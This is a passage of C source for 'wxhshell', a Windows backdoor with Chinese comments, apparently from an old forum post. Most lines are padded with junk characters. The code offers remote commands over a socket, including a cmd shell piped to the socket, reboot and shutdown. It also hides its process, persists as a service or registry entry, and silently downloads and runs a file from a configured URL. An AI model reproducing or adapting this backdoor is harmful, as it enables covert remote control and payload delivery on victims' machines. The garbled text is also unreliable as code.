  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AI9922}*  
  } UQ@szE  
  else { V-X Ty iv  
pqju@FD *  
    switch(cmd[0]) { D>Rlm,U  
  ,^eOwWV  
  // 帮助 U%;E:|  
  case '?': { A* Pz-z>z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jtE'T}!d  
    break; R4$(NNC+/  
  } &yOl}?u  
  // 安装 T\:*+W37  
  case 'i': { aMJ2bu  
    if(Install()) Xh/BVg7$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \pSRG=`  
    else x(~V7L>"i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6O(r)k  
    break; (<}?}{YX0  
    } dk]A,TB*2  
  // 卸载 IMzt1l =7  
  case 'r': { CLJn+Y2  
    if(Uninstall()) %afF%y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <54KWC86)J  
    else ;z+}|>!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `G:hC5B  
    break; t\Qm2Q)>  
    } Vh]=sd<F  
  // 显示 wxhshell 所在路径 X gtn}7N.  
  case 'p': { L;+e)I]  
    char svExeFile[MAX_PATH]; j X*gw6!  
    strcpy(svExeFile,"\n\r"); + [$Td%6  
      strcat(svExeFile,ExeFile); jyidNPLm4  
        send(wsh,svExeFile,strlen(svExeFile),0); t2rZ%[O  
    break; r@wE?hK  
    } %*IH~/Ld;]  
  // 重启 `49!di[  
  case 'b': { }h8U.k?v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lc "{ePFh  
    if(Boot(REBOOT)) ZU2D.Kf_:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wnQi5P+  
    else { K5??WB63B  
    closesocket(wsh); <DII%7q,6/  
    ExitThread(0); PGVP0H+RV  
    } Vf=,@7  
    break; l\d[S]  
    } Ay%]l| Gm  
  // 关机 #c'}_s2F[  
  case 'd': { 3x z z* <  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `1y@c"t  
    if(Boot(SHUTDOWN)) |It{L0=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !d[]Qt%mA  
    else { f2v~: u  
    closesocket(wsh); (#>Q#Izr  
    ExitThread(0); ,jD-fL/:  
    } v3kT~uv  
    break; 47A[-&y*X  
    } O(_f&a  
  // 获取shell fWF!%|L  
  case 's': { F*N Hy.Y  
    CmdShell(wsh); (/t{z =  
    closesocket(wsh); fWDTP|DV  
    ExitThread(0); gT,iH.  
    break; (IA:4E}  
  } -OKXfN]  
  // 退出 BV\~Dm]"  
  case 'x': { :X7O4?ww  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qk@BM  
    CloseIt(wsh); .E{FD%U  
    break; 8&bNI@:@  
    } GpR,n2  
  // 离开 %%h.`p1  
  case 'q': { `/WOP`'zM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r"\<+$ 7  
    closesocket(wsh); GW%!?mJ  
    WSACleanup(); -Q ];o~  
    exit(1); Vn_>c#B  
    break; WM=)K1p0u  
        } OGq=OW  
  } L[Wi[S6=)g  
  } Y'R/|:YL@  
+j$nbU0U  
  // 提示信息 twaH20  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2&AX_#P  
} Q2Uk0:M  
  } <YCR^?hJSi  
i=fhK~Jd  
  return; gx C`Ml  
} :z|$K^)7Z  
<N=ow"rD  
// shell模块句柄 QPvWdjf#mM  
int CmdShell(SOCKET sock) )[yKO  
{ &iy7It  
STARTUPINFO si; f&&Ao  
ZeroMemory(&si,sizeof(si)); C?6q ]k]r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VwXR,(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'l-VWqR-  
PROCESS_INFORMATION ProcessInfo; m&s;zQ  
char cmdline[]="cmd"; gs~u8"B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yDpv+6(a  
  return 0; t6)R 37  
} |;U3pq)  
eV0eMDY5  
// 自身启动模式 ?tT89m3_E  
int StartFromService(void) xz7CnW1  
{ F^=y+}]=  
typedef struct jo0XOs  
{ i/C0 (!  
  DWORD ExitStatus; -}8r1jQH;  
  DWORD PebBaseAddress; E!,jTaZz  
  DWORD AffinityMask; x"Ij+~i{l  
  DWORD BasePriority; V@1,((,l  
  ULONG UniqueProcessId; c5[ ~2e  
  ULONG InheritedFromUniqueProcessId; gDH|I;!  
}   PROCESS_BASIC_INFORMATION; E <r;J  
:`4LV  
PROCNTQSIP NtQueryInformationProcess; 5yroi@KT   
$u)#-X;x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Y2n6gkH[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bW3Ah?0N  
ItAC=/(d  
  HANDLE             hProcess; w7<4D,hk  
  PROCESS_BASIC_INFORMATION pbi; GzT?I 7|M  
160BgFM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Rmu +N|  
  if(NULL == hInst ) return 0; :/}=s5aQl/  
=knBwjeD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D2\EpL/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H Ds8M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :"+3Uk2  
Z/;8eb*B7  
  if (!NtQueryInformationProcess) return 0; QxBH{TG  
ya;(D 8x)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jf@Xz7{z  
  if(!hProcess) return 0; q+lCA#Sx  
u:^9ZQ+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L|A1bxt  
#"o`'5  
  CloseHandle(hProcess); ` ^z l =  
of`WP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3BB/u%N}  
if(hProcess==NULL) return 0; yv> 6u7  
a1v?{vu\E  
HMODULE hMod; g{m~TVm'  
char procName[255]; X(C=O?A  
unsigned long cbNeeded; \Fu(IuD  
YsRq.9Mr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /T 4GPi\lg  
VB4ir\nF  
  CloseHandle(hProcess); t & 5s.  
h>/L4j*Z  
if(strstr(procName,"services")) return 1; // 以服务启动 4HGR-S/  
RRGs:h@;  
  return 0; // 注册表启动 k rXU*64  
} u>2opI~m  
pq]>Ep  
// 主模块 m2F+ 6G  
int StartWxhshell(LPSTR lpCmdLine) 2o0WS~}5  
{ S Fqq(K2u  
  SOCKET wsl; 9['>$ON  
BOOL val=TRUE; 70nBC  
  int port=0; 2j[; M-3  
  struct sockaddr_in door; 2(Nf$?U @0  
cvV8 ;  
  if(wscfg.ws_autoins) Install(); d ?,wEfwp  
<!?ZH"F0  
port=atoi(lpCmdLine);  t&G #%  
!\q'{x5C  
if(port<=0) port=wscfg.ws_port; Acb %)Y  
OX.g~M ig|  
  WSADATA data; ?"p.Gy)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8oJp_sw  
Z%VgAV>>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {XLRrU!*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : )k|Onz  
  door.sin_family = AF_INET; 3+I"Dm,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e.;B?0QrV  
  door.sin_port = htons(port); P m|S>r  
NF_[q(k'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2K{)8 ;^  
closesocket(wsl); mFBuKp+0)h  
return 1; , .uI>  
} H$xUOqL  
=K9-  
  if(listen(wsl,2) == INVALID_SOCKET) { MAgoxq~;V  
closesocket(wsl); -qB{TA-.\  
return 1; W)u9VbPk[  
} 3MHByT %  
  Wxhshell(wsl); R=L-Ulhk  
  WSACleanup(); ER<Z!*2  
snny! 0E\m  
return 0; qB3=wFI  
@P<Mc )o^  
}  `=I@W  
],f%: ?%50  
// 以NT服务方式启动 !f# [4Xw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b*cVC^{Dy  
{ 6 $+b2&V  
DWORD   status = 0; p@+D$  
  DWORD   specificError = 0xfffffff; 8?t}S2n2  
l'"Ici#7Ls  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ztV%W6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^FK-e;J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /6#i$\ j  
  serviceStatus.dwWin32ExitCode     = 0; 2S-z$Bi}]  
  serviceStatus.dwServiceSpecificExitCode = 0; h x hl  
  serviceStatus.dwCheckPoint       = 0; ?"T *{8  
  serviceStatus.dwWaitHint       = 0; Cvtz&dH  
iZ2nBi Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R|!4klb  
  if (hServiceStatusHandle==0) return; N-Sjd%Z  
2?c%<_jPA  
status = GetLastError(); ;VPYWss  
  if (status!=NO_ERROR) ljk,R G  
{ B..> *Xb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zR }vw{  
    serviceStatus.dwCheckPoint       = 0; @}A3ie'w  
    serviceStatus.dwWaitHint       = 0; uSNlI78D  
    serviceStatus.dwWin32ExitCode     = status; 8Y~\:3&1<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~G8haN4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *En4~;l  
    return; -K iI&Q  
  } O[HBw~  
7u[$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7^Y`'~Y^  
  serviceStatus.dwCheckPoint       = 0; ?xzDz  
  serviceStatus.dwWaitHint       = 0; r?=3TAA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cu"ge]},  
} Wvwjj~HP2}  
Trml?zexD  
// 处理NT服务事件,比如:启动、停止 vOBXAF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ V8?6E  
{ 6 G?7>M  
switch(fdwControl) VKHzGfv  
{ =~{W;VZt'  
case SERVICE_CONTROL_STOP: z6bIv }  
  serviceStatus.dwWin32ExitCode = 0; #|acRZ9 }  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -o`|A767  
  serviceStatus.dwCheckPoint   = 0; d{RMX<;G  
  serviceStatus.dwWaitHint     = 0; 1IZTo!xi  
  { BPC>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -y)g}D%  
  } OG2&=~hOz-  
  return; wXUgxa  
case SERVICE_CONTROL_PAUSE: LKu ,H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p(S {k]ZL@  
  break; Ip;;@o&D  
case SERVICE_CONTROL_CONTINUE: ^1z)\p1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jo[U6t+pj7  
  break; ya/pn qS  
case SERVICE_CONTROL_INTERROGATE: 0tP{K  
  break; H@ .1cO  
}; .jbT+hhM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qJ<Ghd`8v  
} ZTK)N  
O ftjm X_  
// 标准应用程序主函数 8DZ OPA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h>&t``<  
{ %jj\w>  
'Rw*WK  
// 获取操作系统版本 /7yd&6`I  
OsIsNt=GetOsVer(); hO4* X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w!m4  
Xm[Cgt_?  
  // 从命令行安装 <=PYu:]h  
  if(strpbrk(lpCmdLine,"iI")) Install(); YC d  
!_j6\r=  
  // 下载执行文件 {A8w~3F  
if(wscfg.ws_downexe) { gYvT'72  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N1espc@j  
  WinExec(wscfg.ws_filenam,SW_HIDE); NIxtT>[+3  
} teg[l-R"7z  
e^Glgaf  
if(!OsIsNt) { Ky6 d{|H  
// 如果时win9x,隐藏进程并且设置为注册表启动 t%]b`ad  
HideProc(); rb<9/z5-  
StartWxhshell(lpCmdLine); dZ'H'm;,!  
} .0#{ ?R,  
else Yjp*T:6  
  if(StartFromService()) k= oCpXq^  
  // 以服务方式启动 s, ;L6nX"  
  StartServiceCtrlDispatcher(DispatchTable); WEk3 4crk  
else ;q%V)4  
  // 普通方式启动 PgwNEwG  
  StartWxhshell(lpCmdLine); gL6.,4q+1  
rJ fO/WK  
return 0; (j884bu  
}
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只看该作者 1 发表于: 2006-10-10
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